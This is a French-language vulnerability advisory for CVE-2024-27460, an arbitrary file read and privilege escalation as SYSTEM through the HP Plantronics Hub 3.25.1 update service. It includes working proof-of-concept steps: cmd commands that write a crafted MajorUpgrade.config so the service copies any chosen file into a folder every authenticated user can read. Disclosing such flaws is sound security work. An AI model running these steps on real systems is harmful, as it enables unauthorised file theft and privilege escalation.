CVE-2024-27460

Élévation de privilèges / lecture arbitraire de fichiers via HP Plantronics Hub 3.25.1 Updater

Description :

HP Plantronics Hub 3.25.1 souffre d'un défaut qui permet à des utilisateurs à faibles privilèges d'effectuer une lecture arbitraire de fichiers en tant que SYSTEM sur la machine où l'application est installée. De plus, il est possible d'exploiter cette faille pour élever les privilèges vers l'utilisateur SYSTEM.

Versions affectées

HP Plantronics Hub 3.25.1

Service(s) impacté(s)

Chemin non sécurisé : "C:\ProgramData\Plantronics\Spokes3G"

Service : PlantronicsUpdateService

Étapes de reproduction (POC) :

• Ouvrir cmd.exe
• Naviguer avec cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Le fichier souhaité sera copié dans "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", auquel tout utilisateur authentifié a accès.

Découvert par :

• Farid Zerrouk de Deloitte Belgium
• Alaa Kachouh de Mastercard Europe.